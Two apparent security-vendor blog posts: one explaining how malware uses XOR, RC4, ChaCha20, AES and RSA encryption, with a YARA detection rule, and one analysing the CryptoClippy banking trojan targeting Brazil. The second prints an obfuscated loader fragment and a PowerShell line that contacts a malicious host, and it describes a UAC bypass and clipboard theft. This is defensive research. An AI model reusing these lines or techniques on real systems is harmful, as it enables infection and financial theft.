Encryption is everywhere in our lives. You might not notice it, but you use it every single day. It is baked into even the most basic processes of our digital world. Every time you open a website, send a message, unlock your phone, or pay for your morning latte, you are using encryption as part of that process. Encryption has evolved over centuries to become the cornerstone of modern data security.

However, encryption can have a dark side. Threat actors can also leverage the power of encryption as part of their malicious operations. Encryption is commonplace in malware for many reasons, such as obfuscating configurations, hiding stolen data, scrambling communications, and holding users’ files for ransom. This blog will delve into the world of encryption and malware and how to detect and protect yourself and your organizations.

Fundamentals

So, what is encryption? Encryption is the process of modifying data to conceal its true meaning from any unauthorized entity.

This involves converting the original data, commonly known as plaintext, into unreadable data, commonly known as ciphertext. The process used is an algorithm incorporating a key that is used to scramble up the original data so much that it is incredibly difficult, or in some cases nearly impossible to decipher, without having the key to use for decryption. In modern encryption, the encryption algorithms are widely known, with only the key being secret between the authorized parties. This is in contrast to many cases of historic encryption, of which much were dependent on the algorithm not being known to unauthorized parties. The most important encryption components are:

Plaintext: The original, unencrypted data. Often called the message
Ciphertext: The scrambled, encrypted data. Produced using the encryption algorithm and key on the plaintext. The ciphertext is converted back into plaintext through the process of decryption
Encryption Algorithm: The algorithm is the process or steps that are taken to scramble up the plaintext. There is a wide range of algorithms that can be used, with varying degrees of strength and complexity. The algorithm can be something as simple as a substitution cipher, up to complex mathematical algorithms like Advanced Encryption Standard (AES)
Key: A piece of information that is used with the algorithm to encrypt and decrypt data. A key can take many forms, such as a password, a series of numbers, or a random string of bits

Encryption and Cryptography, in general, have been around for a long time, even having been used by historical figures to protect their sensitive messages such as Julius Caesar and Mary, Queen of Scots, who used an elaborate substitution cipher. Mary’s cipher, although intricate, was still able to be cracked with relative ease through frequency analysis. With the messages being decrypted, this uncovered a plot to assassinate Queen Elizabeth I. Mary, along with her co-conspirators, was executed! Think of the consequences the next time you decide to use a weak cipher for your secret messages!

Part of the cipher used by Mary, Queen of Scots (https://www.nationalarchives.gov.uk/education/resources/elizabeth-monarchy/ciphers-used-by-mary-queen-of-scots/)

Fast forwarding to the modern era, with the development of technology, the complexity and speed of encryption have exploded. The information age has allowed encryption to be handled at the speed of computers. In the following sections, we will introduce you to different types of encryption and how they fit into the world of malware. First, we will introduce the main building block of encryption in modern cryptography. That is the XOR (exclusive OR) logical operation. XOR is used in most of the encryption algorithms that are used in information security today, both symmetric and asymmetric.

XOR and Rolling XOR Encryption

XOR (exclusive OR) is a logical operation that takes two binary inputs and produces an output based on the following rules:

If both inputs are the same (either both 0 or both 1), the output is 0.
If the inputs are different (one is 0, and the other is 1), the output is 1.
If A ^ B = C than A ^ C = B and B ^ C = A
This means that XORing the output with one of the inputs returns the other input, making it a two-way function.

In XOR encryption, each plaintext byte is combined with a corresponding byte or character from a secret key using the XOR operation. The resulting ciphertext is the encrypted form of the plaintext. Since the encryption is a two-way function meaning that to decrypt the ciphertext, all you have to do is XOR it with the same secret key.

A simulation of a rolling XOR encryption.

A rolling XOR (rotating XOR) is a cryptographic technique that involves performing the XOR operation on a stream of data in a rolling or rotating fashion. A repeating key with a fixed length is used to perform the XOR operation on the data. The key ‘rolls’ or ‘rotates’ through the data stream, applying the XOR operation to each byte of the data with the corresponding byte from the repeating key. Once the XOR operation is performed on the last byte of the data, the key is cyclically shifted, and the process starts again from the beginning of the data.

Rolling XOR can provide a slight improvement in security compared to regular XOR encryption with a fixed key because it introduces a level of variation and complexity. However, similar to basic XOR encryption, rolling XOR is considered relatively weak and can be broken relatively easily. Yet, due to its simplicity, it is a very fast encryption routine.

XOR Encryption Uses in Malware

RedXor is a Linux backdoor operated by a Chinese Nation-State Actor. The backdoor masquerades itself as a polkit daemon and encodes its network data with a scheme based on XOR. Encoding network data with XOR has been used in previous Winnti malware, including PWNLNX.

The decryption logic is a simple XOR against a byte key. The byte key is incremented by a constant for each item in the buffer. The only configuration value that is not encrypted is the server port. The port value is used to derive the key and the address. The key is derived from bit shifting the port value eight steps to the right.

The decoding function accepts four arguments: the XOR key, the constant added to the key byte every round, the encoded buffer, and its length.

A call to the function that decodes the configuration using XOR.

The screenshot below presents the implementation of the XOR encryption. The highlighted xor operation between the buffer and the key is followed by including the key and the constant character.

The decoding function in RedXor.

The pseudocode of the decryption would look like this:

doXor(keyChar, adder, buf, buf_len)
{
key = keyChar;
for (i=0; i < buf_len; i++)
{
buf[i] = key ^ buf[i];
key = key + adder;
}
return 0;
}

Symmetric Cryptography

Symmetric cryptography is when the same key is used to encrypt and decrypt plaintext and ciphertext. Generally, there are two types of ciphers used in symmetric encryption. Stream ciphers and Block ciphers.

Stream Ciphers

A stream cipher is a type of cipher that encrypts data by combining the plaintext with a keystream. A keystream is a pseudorandom set of bits that is generated using a seed. This seed serves as the key. Stream ciphers typically encrypt a message one bit or byte by XORing them with the keystream. Quite often, the key for stream cipher does not need to be of a fixed length.

A popular example of a stream cipher is RC4. RC4 is a stream cipher that was created by Ron Rivest, one of the creators of the RSA asymmetric cryptosystem. A number of vulnerabilities have been identified in RC4, which has led to it being phased out of mainstream encryption use, but due to its simple implementation, it’s still used in malware.

Stream Cipher Use in Malware

As we mentioned, RC4 is commonly used in malware, typically to encrypt communications between the malware and its command and control (C2) server or to encrypt its configuration. Although RC4 is not the strongest cipher, it serves the purpose of scrambling up data enough that there is enough entropy that defenses are not able to use patterns for detection, like in the case of XOR encryption in Cobalt Strike. RC4 is also trivial to implement without the need to import libraries, and it is easy to generate or store a key inside the malware. The malware Symbiote uses RC4 heavily to encrypt communications and gather information:

Symbiote Deep-Dive: Analysis of a New, Nearly-Impossible-to-Detect Linux Threat

Below is a screenshot of the Symbiote usage of RC4. The start of the RC4 algorithm starts by creating the identity permutation, which is a block of bytes ranging from 0x00 to 0xFF. This is a very distinctive way to identify RC4 usage. After the identity permutation is created, the key bytes will be mixed in to create the pseudorandom keystream.

Start of the Key-scheduling algorithm (KSA) in Symbiote

Another use of a stream cipher in malware is the use of ChaCha20 in the APT malware StageClient. ChaCha20 is used to encrypt the configuration, protecting it from static analysis.

Call to ChaCha20 with key passed in as parameter in StageClient

For a visualization of the ChaCha20 cipher, we recommend watching this Computerphile video:

Chacha Cipher – Computerphile

ChaCha20 decrypted StageClient configuration showing C2 address

Block Ciphers

Block ciphers are another way of implementing symmetric encryption. Block ciphers encrypt fixed-size data blocks compared to doing it one bit/byte at a time, like in a stream cipher. Many block cipher algorithms are very strong, and therefore, they are heavily used in everyday encryption. Also, because of the strength of block cipher encryption algorithms, they are also favored as some of the main components in ransomware, often used in conjunction with asymmetric cryptography to form a hybrid cryptosystem, which we will discuss more in a future blog. Block ciphers can have different modes of operation. Different modes of operation are ways that the block cipher can be applied to increase the security of the encryption beyond basic blocks. Electronic Codebook (ECB) is the most basic block mode of operation, simply just encrypting each block. This is considered weak as data with repeating bytes will have repeating ciphertext, leading to patterns being able to be discerned. Another mode, Cipher Block Chaining (CBC), XORs the plaintext block with the previous ciphertext block to create more randomness and disrupt patterns. The image below shows a bitmap of the Intezer logo, being AES encrypted with ECB in the middle and CBC on the right. The logo pattern can still be discerned in the ECB mode, whereas in CBC, it is completely random. Many modes of operation also require what is called an initialization vector (IV). An IV is a small piece of data, usually a random number, that is used to ensure that two identical plaintext blocks encrypt to different ciphertext blocks, ensuring additional security and the removal of patterns.

Intezer logo (left), ECB encrypted (middle), CBC encrypted (right)

For AES, there is also an instruction set that is integrated into many processors. This greatly speeds up the use of AES for systems using compatible processors. Hardware accelerators for AES make block encryption with AES quicker than many stream ciphers, which are typically faster than block ciphers. Most Intel chips support an AES instruction set. Whereas many ARM chips for mobile phones do not. For this reason, Google Chrome developers made the cipher suite for TLS on Android devices use the stream cipher ChaCha20, increasing speed and saving battery.

Block Cipher Use in Malware

AES is one of the most popular symmetric block encryption algorithms. It is used by many ransomware to quickly and securely encrypt files to hold for ransom. It is also used to encrypt communications between malware and its C2 server often too. One such example is the Elephant Framework, used to target organizations in Ukraine:

Elephant Framework Delivered in Phishing Attacks Against Ukrainian Organizations

AES block encryption is used in multiple places in the malware. One part is the GraphSteel client component, where AES is used to encrypt WebSockets messages with the C2. Another area is in the GrimPlant component configuration. The C2 address is passed to the implant through a command line flag -addr. The passed argument is base64 decoded, and AES decrypted in CBC mode with a hardcoded embedded key. In the below screenshot, the constant S-box for AES in Golang is shown in the GrimPlant component. Golang statically compiles libraries into the built binary, therefore it is easy to detect when AES is being used and compare it with the source code.

Constant AES S-box in GrimPlant component.

Asymmetric Encryption

Asymmetric encryption, also known as public-key encryption, provides a secure way to exchange encrypted data between two parties without needing them to share a common secret key. In asymmetric encryption, each party possesses a key pair consisting of a public key and a private key. The public key is freely shared and used for encryption, while the private key is kept secret and used for decryption. The keys are mathematically related so that data encrypted with one key can only be decrypted with the corresponding key from the pair.

Asymmetric encryption involves key generation, encryption of the message using the recipient’s public key, transmission of the encrypted message, and decryption by the recipient using their private key. This process ensures secure communication without the need for a shared secret key.

Asymmetric encryption reduces the need for a secure channel to exchange a secret key. The public keys can be freely shared without compromising the security of the encryption. It ensures that only the intended recipient with the corresponding private key can decrypt and read the encrypted data.

However, asymmetric encryption is generally slower and computationally more intensive than symmetric encryption. Therefore, it is often used for key exchange, digital signatures, and secure communication of smaller amounts of data.

There are several well-known asymmetric encryption algorithms:

RSA (Rivest-Shamir-Adleman): RSA is based on the mathematical properties of large prime numbers and modular arithmetic.
Elliptic Curve Cryptography (ECC): ECC leverages the mathematics of elliptic curves over finite fields. It provides strong security with relatively smaller key sizes compared to other asymmetric algorithms.
ElGamal: ElGamal is an asymmetric encryption algorithm based on the Diffie-Hellman key exchange. It provides both encryption and digital signature functionalities.
DSA (Digital Signature Algorithm): DSA is a widely used algorithm for digital signatures. It ensures data integrity, authentication, and non-repudiation. DSA is based on mathematical concepts from modular arithmetic and prime numbers.
ECDSA (Elliptic Curve Digital Signature Algorithm): ECDSA is an elliptic curve-based digital signature algorithm. It offers the same security guarantees as DSA but with shorter key lengths.

Each cryptographic system has its specific algorithm for generating a public key, leading to the use of different sets of elements in each case. To ensure standardized representation, structured formats have been established. The two most prevalent definitions for representing public keys are X.509 and PEM (Privacy Enhanced Mail).

PEM uses base64 encoding to represent binary data, and it is typically used with different types of cryptographic data, such as public keys, private keys, and certificates.

SubjectPublicKeyInfo (SPKI) is a specific format defined in the X.509 specification to represent a public key and its associated algorithm (such as RSA, DSA, or ECDSA) and optional parameters.

PEM is often used as a container format for storing public keys in the SubjectPublicKeyInfo structure. When a public key is represented in the SubjectPublicKeyInfo format, it can be encoded and stored in a PEM file by adding header and footer lines (often BEGIN PUBLIC KEY and END PUBLIC KEY) around the base64-encoded SubjectPublicKeyInfo data.

PEM is a general encoding format, and when it comes to representing public keys, SubjectPublicKeyInfo is a specific structure that can be PEM-encoded for practical use in various cryptographic applications.

RSA (Asymmetric Encryption) Uses in Malware

In August 2021, our research team discovered a highly sophisticated and fully undetected malware named Vermilion Strike. The malware is a full implementation of Cobalt Strike’s beacon targeting Linux systems and was later also detected in Windows samples, indicating it is a cross-platform threat. Vermilion Strike utilizes Cobalt Strike’s Command and Control (C2) protocol for communication with the C2 server and possesses remote access capabilities like file uploading, running shell commands, and file writing.

Like the standard Cobalt Strike implementation, Vermilion Strike employs XOR key encryption to decrypt the beacon’s configuration. However, it also utilizes RSA encryption for encrypting information collected during the fingerprinting process of the infected endpoint.

First, the threat imports a public RSA key using a call to d2i_rsa_pubkey, which decodes and encodes an RSA public key using a SubjectPublicKeyInfo format.

RSA public key in Vermilion Strike.

Vermilion Strike then gathers specific system information from the compromised endpoint. The collected data includes details like the kernel version, network information, current effective user ID of the process, and hostname. Once this information is assembled, it is formatted into a string.

Next, the string is encrypted using the public RSA key. RSA encryption ensures that only the corresponding private key, typically under the control of the threat actor or C2 server, can decrypt and access the collected data. To facilitate communication with the Cobalt Strike server, the encrypted data is then base64 encoded, a common standard for transmitting binary data as text. The encrypted data is sent to the C2 server in a similar way that the metadata is sent from a Cobalt Strike beacon to the C2 server.

The collected information (left), encrypted information(middle), encrypted and encoded information(right).

Spotting Encryption in Malware

There are several techniques analysts can use to detect the usage of encryption in malware samples.

Imports

Usually, one of the first things that would be checked when analyzing a sample is the list of imported functions, as knowing which functions are being utilized by the malware can provide valuable insights into the threat’s capabilities. To identify the usage of encryption in malware, we need to look for cryptographic libraries.

For malware that targets Windows hosts, we would look for a wincrypt or MbedTLS library or a .NET-based API named System.Security.Cryptography.

For threats that target Linux hosts, we would look for one (or more) of the following libraries: OpenSSL, GnuTLS, Mbed TLS, libgcrypt, and Crypto++.

Since imports can significantly aid researchers (and security tools) in identifying the usage of specific methods, such as encryption, and facilitate faster and relatively easier analysis, many malware authors obfuscate fundamental function imports. Typically, these imports would be dynamically resolved and loaded by the malware within the relevant function. Consequently, it becomes more challenging to pinpoint the utilization of imported library functions.

CAPA

CAPA is a Python-based open-source tool developed by FireEye. CAPA stands for “Common Analysis Platform for Artifacts.” It is designed to assist in analyzing malware samples by identifying common patterns and behaviors exhibited by these samples. For instance: usage of encryption, process creation, communication with C2 servers, retrieving information from the host, etc. This tool aids in understanding the potential impact and behavior of malware, enabling faster and more effective incident response and threat analysis.

CAPA can be integrated into tools such as IDA, Ghidra, and Radare2 and help researchers quickly identify known malicious behaviors in a sample. As seen in the screenshot below, when running CAPA for the Vermilion Strike sample, it identifies the implementation of RSA and XOR encryption. It provides the addresses of the relevant functions.

Having said that, CAPA is not a magic bullet, and in some cases, it might fail to detect certain behaviors due to unorthodox techniques implemented by threat actors or novel and non-conventional implementations of certain methods. In these cases, we would have to rely on other techniques to identify encryption implementation in malware samples.

Identify key parts of the encryption algorithm

Identifying key parts of an encryption algorithm in malware requires conducting a detailed code analysis. Pay close attention to data manipulation involving boolean algebra operations like AND, NOR, shifts, and various operations for loading values from the stack (as can be seen in the screenshot below). These operations often indicate encryption-related transformations and can provide crucial insights into how the malware encrypts and manipulates data.

Implementation of encryption using boolean algebra operations.

RC4

In addition, having knowledge of the general algorithms of commonly used encryption schemes can significantly aid in quickly identifying the usage of specific encryption methods. For example, RC4 implements a Key-scheduling algorithm (KSA) that consists of two for-loops ranging from 0 to 255, as shown in the following code snippet. Recognizing these distinctive loops can indicate that the relevant function implements RC4.

for i from 0 to 255
S[i] := i
endfor
j := 0
for i from 0 to 255
j := (j + S[i] + key[i mod keylength]) mod 256
swap values of S[i] and S[j]
endfor

Pseudo code for RC4 Key-scheduling algorithm (source)

Below is the implementation of the code above in the CryptoClippy malware, we can identify the two loops that are part of the KSA algorithm as described above.

ChaCha20

In the key setup stage of the ChaCha20 encryption algorithm, a fixed constant string, expand 32-byte k, as defined in the ChaCha20 specification, is utilized. This constant serves the purpose, along with a counter and nonce, of expanding the 256-bit key into a larger 512-bit keystream. The expansion process is instrumental in generating a robust and secure pseudo-random keystream, which is crucial for ensuring the confidentiality and integrity of encrypted data.

Consequently, the presence of this constant string is a distinctive artifact that often appears in malware samples, hinting at the potential usage of ChaCha20 encryption. Below is the constant string in StageClient, along with the beginning of the initialization state, with the source code for comparison.

The following Yara rule can be used to check for the likely use of ChaCha20 using the constant string.

rule likely_use_of_chacha20
{
meta:
author = "Intezer"
description = "Likely use of ChaCha20 Cipher"
reference = "https://intezer.com/blog/research/unraveling-malware-encryption-secrets/"
hash = "9b48822bd6065a2ad2c6972003920f713fe2cb750ec13a886efee7b570c111a5"
strings:
$mov_bytes = {?? ?? ?? ?? 65 78 70 61 ?? ?? ?? ?? 6E 64 20 33 ?? ?? ?? ?? 32 2D 62 79 ?? ?? ?? ?? 74 65 20 6B}
$string_literal = "expand 32-byte k"
condition:
any of them
}

AES

An S-box, short for Substitution box, is a fundamental component in many symmetric encryption algorithms and block ciphers. It is used to perform non-linear substitution of bits or bytes, introducing confusion in the data and enhancing the cryptographic strength of the algorithm. Confusion ensures that the relationship between the plaintext and ciphertext is complex and obscure, making it resistant to various cryptographic attacks, such as differential and linear cryptanalysis.

In an S-box, each input value (a bit or a byte) is substituted with a corresponding output value based on a predefined substitution table or mathematical function. This substitution table ensures that the relationship between the input and output values is highly non-linear and non-reversible, making it challenging for attackers to deduce the original data or the key used in the encryption.

S-boxes are widely used in popular encryption algorithms like AES (Advanced Encryption Standard), where they are applied during the substitution layer of the encryption process. In AES, the S-box substitutes each byte of the input state with a corresponding byte from the S-box, which is fixed and defined by the AES standard.

AES has known boxes that anyone, including malware developers, can use. For example, the implementation of AES in GoLang defines the following s-box:

var sbox0 = [256]byte{
0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16,
}

Source

Researchers can make YARA rules to detect these known S-boxes to identify the use of AES.

Researchers can create YARA rules to identify the use of AES by detecting known S-boxes used in the algorithm. By analyzing the binary representation of the encrypted data or examining memory dumps, researchers can search for byte arrays that match the predefined S-box patterns. This can be a valuable technique for identifying the presence of AES encryption in malware or other cryptographic applications.

Debugging

Encryption and decryption routines in malware can be highly intricate, and some may even have a proprietary implementation, adding to the complexity. As a result, analyzing these routines can be a tedious and time-consuming process. In such cases, it is preferable to debug the malware sample within an isolated environment. Doing so can provide valuable insights into the data manipulation that occurs during encryption and decryption. By debugging the encryption/decryption routines, security analysts can uncover the interesting payload more efficiently, which is particularly crucial during time-sensitive situations like incident response.

Conclusions

Encryption plays a significant role in both our daily lives and the tactics of malware developers. As a result, understanding the fundamental concepts of encryption, distinguishing between symmetric and asymmetric encryption, and being acquainted with common encryption algorithms are essential skills. Identifying crucial elements of these algorithms in malware samples can greatly aid researchers in recognizing the use of encryption in threats. This insight can lead to a deeper understanding of other capabilities and components of the threat, facilitating more effective analysis and response strategies.

CryptoClippy is Evolving to Pilfer Even More Financial Data

Wed, 24 May 2023 00:00:00 +0000

A banking trojan is a malware designed to steal sensitive financial information, such as online banking login credentials, credit card numbers, and other financial data. Recently Unit42 released a detailed report about a new malware called CryptoClippy that targets Portuguese speakers. The pesky malware uses the information from the clipboard to redirect money to crypto-wallets controlled by the threat actors.

In our research, we have uncovered evidence indicating that the CryptoClippy threat is undergoing rapid evolution and exceeding its initial scope of crypto wallet theft. Our findings indicate that the threat actors behind CryptoClippy are actively expanding its capabilities, now targeting a broader range of payment services commonly used in Brazil. This discovery highlights the alarming nature of this evolving malware, as it signifies a significant shift in the tactics employed by the malicious actors. As they continue to refine and enhance their methods, the potential risks increase for financial data security in Brazil. Our investigation delves deep into these emerging patterns, shedding light on the evolving landscape of CryptoClippy and the imminent risks it poses to the payment ecosystem in Brazil.

During our research, we found that the attackers also use NSIS installers to deploy the first stage of the attack. We were also able to acquire new malware samples from C2. While there are many similarities between our findings and those described in the reports, we could pick up unique strings and functionalities that were not present in the previously reported samples. One of the things that we noticed is that the threat targets services that are specifically used in Brazil. Starting from the icon of the installer in the first stage that uses the logo of the postal service of Brazil. And then the malware that looks for information associated with PIX – a payment service used in Brazil.

In this blog, we will provide a technical analysis of the artifacts we found.

Technical Analysis of CryptoClippy

We identified a suspicious .NET sample that is signed by “PLK Management Limited,” and its metadata has the company and product name pointing to “WhatsApp.” Still, it doesn’t share code with the software.

We named the installer of the first stage MINTYCIV.

.NET MINTYCIV first stage installer.

The installer attempts to look like a legitimate application, but in the background, it attempts to connect to a remote C2 server. It decodes the URL using Base64, which resolves to https://mydigitalrevival[.]com/get.php and sends the string “82DPRmbP”. This domain was mentioned in the Unit42 post.

We found more files with the same signer however, unlike the first file, they are NSIS installers, like this file. Most of the files have an icon of Correios. This state-owned company operates the national postal service of Brazil. The submitted file name starts with Rastreio or Correios followed by four letters. Restreio translates to “tracking” in Portuguese and Correios means “mail” or “post office.”

Correios logo included with the files

One of the NSIS installers with the Correios logo

All files have the same behavior – extract and execute a BAT file that attempts to connect to a C2. The connection will work only if the request is sent from Brazil. However, we overcame this check using a VPN, and thus, we got the payload of the 2nd stage.

voc = 'O2mGSBzKDaVURN6fQpAYxXhn3dqwPy5J7ukbCFoI1svi4tHrWjcZElgLT9M80e'
print("(", voc[13],voc[61],voc[27],'-',voc[0],voc[35],voc[49],voc[61],voc[50],voc[45], voc[13],voc[61],)
print(voc[45],'.', voc[48],voc[61],voc[35],voc[36],voc[53],voc[43],voc[61],voc[23],voc[45],').',voc[11],)
print(voc[17],voc[53],voc[38],voc[9],voc[25],voc[4],voc[45],voc[47],voc[43],voc[23],voc[54],'("', voc[22])
print(voc[45],voc[45],voc[17],'://', voc[61],voc[15],voc[60],voc[22],'.', voc[50],voc[38],voc[2])
print('/', voc[40],'/","', voc[15],voc[21],voc[53],voc[8],'") |')
print('.($',voc[61],voc[23],voc[42],':', voc[28],'-')
print(voc[48],voc[43],voc[23],voc[25],voc[38],voc[27],voc[41],voc[28],voc[38],voc[27],voc[61],voc[47],)
print(voc[4],voc[22],voc[61],voc[53],voc[53],'\', voc[42],voc[40],'.',voc[60],'\', voc[17],)
print(voc[38],voc[27],voc[61],voc[47],voc[41],voc[22],voc[61],voc[53],voc[53],)

Above, the BAT script extracted from NSIS installer.

After the deobfuscation of the script, one of the executed commands will upload a string to a malicious remote server. If the connection is successful, the remote server will send a PowerShell script that will be immediately executed.

$result = (New-Object System.Net.WebClient).UploadString("http://ef0h.com/1/", "fXlD")

After executing the BAT file, if the connection is successful, the response is another script that will be executed as set by the previously executed command. This script collects information about the endpoint – computer name, the operating system name, display name, architecture, and the name of the antivirus software installed on the endpoint.

Next, it makes a JSON structure in the following way:

The key ‘1’ has a unique identifier that changes between samples
The key ‘2’ stores the value representing the architecture
The key ‘10’ stores the base64 encoded string that holds the string with the information collected in the previous step.

${data}=@{
'1'='3ptt9kcnrgslgt7gfjdojm2qu5'
'2'='64'
'10'=[Convert]::"tObaSe64strING"([Text.Encoding]::"DEfAulT".('GetBytes').Invoke("WINMACHINEmike;x64-based PC;Microsoft Windows 7 Ultimate;64-bit;Windows Defender")) }

The JSON is sent to the same domain used in the previous stage. At this stage it is not clear which values are expected by the host. But if the checks are passed, the server will send back a large JSON file processed by the current script. The data seen above satisfies the checks on the server side, and we obtained the payload for the 2nd stage of the attack.

The response contains 5 parts: 3 scripts, a loader, and a configuration file – as described by Unit 42. We noticed that in the first stage of the attack, a directory was created in AppDataRoaming, and the directory’s name changed based on the response from the C2. We spotted the names Reposita or Flexizen, which is also the name of 3 of the scripts used in the first stage of the attack.

One of the PowerShell scripts (Reposita.ps) decodes the loader of the 2nd stage (the file named sc) and injects it into the currently executed process (PowerShell). Similarly to the previous report, the payload is encoded with XOR, but the key is shorter. After decoding the payload, we got a DLL file. The XOR key used in this execution is 0x1a, 0x13, 0x37, 0xe8, 0xea, 0xb0, 0xb2, 0x94, 0x8b, 0x0b, 0x2d, 0xaa, 0x52, 0xe9, 0xeb, 0x25.

Once we removed the obfuscations from the PowerShell script, we identified strong similarities to an open-source project implementing an injection method. It is possible that the CryptoClippy malware developers cloned the project, removed the symbols and added a layer of obfuscation, and deployed this script.

The script that injects the 2nd loader (after removing the obfuscation from the script)

The 2nd stage loader is a 64-bit DLL with one exported function – main. The logic of the loader is similar to the one reported by Unit 42, as it also appears to use SysWhisper, an open-source project that implements direct system calls execution for evading detection. In addition, both loader versions use Ntdll to resolve API functions, and the API names are hashed.

Analysis of the CryptoClippy loader we inspected.

The loader we found has two unique strings. One of them is client-injector64.dll which seems to be the name of the DLL.

We noticed that both loader versions, before making the injection, call RtlGetVersion to get information about the operation system of the victim endpoint. The loader checks the OSVERSIONINFOEX.wProductType of the victim machine. It will proceed only if the major version is 6 or 10 and the correct minor version is defined in the documentation. From this check, we understand that the malware targets Windows versions starting from Vista and above.

Source: https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-osversioninfoa

Updates to the CryptoClippy Malware

The payload of the loader from the previous stage is CryptoClippy malware and the sample that we obtained shares most of its code with the samples that were published in the previous report. While the main functionality of the malware stayed the same, there are several changes that we noticed.

Analysis of the CryptoClippy malware sample obtained from the C2.

Information Stealing

In the sample we analyzed, there are 3 functions for processing the clipboard’s content. One of them is responsible for switching the address of crypto wallets – as described in the Unit 42 post. One of the other functions takes the clipboard’s content and sends it to the C2. And the third function checks if the clipboard contains the string “0014br.gov.bcb.pix”, as seen in the screenshot below. If it’s found, the content is sent to the remote server. PIX is an online payment platform created by the Central Bank of Brazil. It allows users to make transactions using a QRcode or an equivalent code that contains the strings: “0014br.gov.bcb.pix”. The recipient of the payments creates a QRcode that must contain the following information: “PIX Key,” “Beneficiary Name,” and “Beneficiary City.”

00020126580014br.gov.bcb.pix0136123e4567-e12b-12d1-a456-426655440000 5204000053039865802BR5913Fulano de Tal6008BRASILIA62070503***63041D3D

Above, PIX copy-and-paste format as mentioned in the document of the Central Bank.

We found no indications of attempts to introduce a new payload into the clipboard if it detects a PIX string. Instead, the captured content is promptly sent to the C2 server. Building upon the existing functionality of CryptoClippy, which involves swapping crypto wallets, we have reason to believe that this method will persist in future iterations.

Additionally, we anticipate that the forthcoming version will possess an added capability — the ability to substitute the intercepted PIX string with one under the control of the threat actors. This insidious modification would effectively redirect all payments to their designated account.

CMSTPLUA CLSID used by the malware in UAC bypass.

Besides the capabilities above, the malware obtains the user name, computer name, Windows version, and firmware information (using GetSystemFirmwareTable). It queries the value ‘RSMB’ repressing the SMBIOS firmware table provider. Then it opens the registry key SOFTWARE\\GbPlugin\\Uni and gets the value of gFaYEcJ9U3dI and gFaYEcJ9U3RB. The key is created by a plugin called gbplugin whose purpose is to secure the connection to internet banking services. It is not clear what sort of information is stored in these registry entries, but all of the information that was collected in this stage is sent to the C2.

Persistence

As reported, the malware sets persistence on the victim machine by creating an LNK at AppData\Roaming\Microsoft\Windows\Start\ Menu\Programs\Startup\Reposita.lnk.

We identified a unique way in which the malware creates the LNK file. It calls the CoCreateInstance function, creating an object of the class specified by the CLSID value. CLSID is a unique identifier of a COM class object. In our case, the CLSID is {000214EE-0000-0000-C000-00000000046}. Looking up this value, we get only two results (the top result is Portuguese):

This handler points to the IShellLinkA interface, which provides methods for working with Shell links – LNK files. The target of the LNK file is the bat file from the second stage (Repoista.bat). This script is responsible for executing the PowerShell script that injects the loader.

The malware contains 3 scripts that are executed in different stages of the malware execution. The name of the scripts changes between samples since it depends on the configuration. All of the scripts are encoded using RC4. As described by Unit42, one of the files creates a scheduled task for persistence, and a BAT file executes the script – the 2nd script dropped by the malware. We noticed a unique way the malware executes the bat file with elevated permissions.

First, it queries the TokenInfomration of the process using GetTokenInformation and checks if the process has already elevated permissions using TokenElevation class. If so, it will execute the bat file. Otherwise, it will check the security policy by checking the registry value at SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System. If the value is one of the following: EnableLUA, ConsentPromptBehaviorAdmin, or ConsentPromptBehaviorUser – the trojan will not execute the script at all. If none of these values are set, it checks the value of TOKEN_ELEVATION_TYPE to examine the token type. If the value is TokenElevationTypeLimited (numerical value 3), it will use the CMSTPLUA COM {3E5FC7F9-9A51-4367-9063-A120244FBEC7} interface to bypass UAC and execute the script with elevated permissions. This technique was previously used by other threats, such as DarkSide ransomware.

CMSTPLUA CLSID used by the malware in UAC bypass.

If the token elevation type is TokenElevationTypeDefault, the malware will use “runas” to execute the script as an administrator.

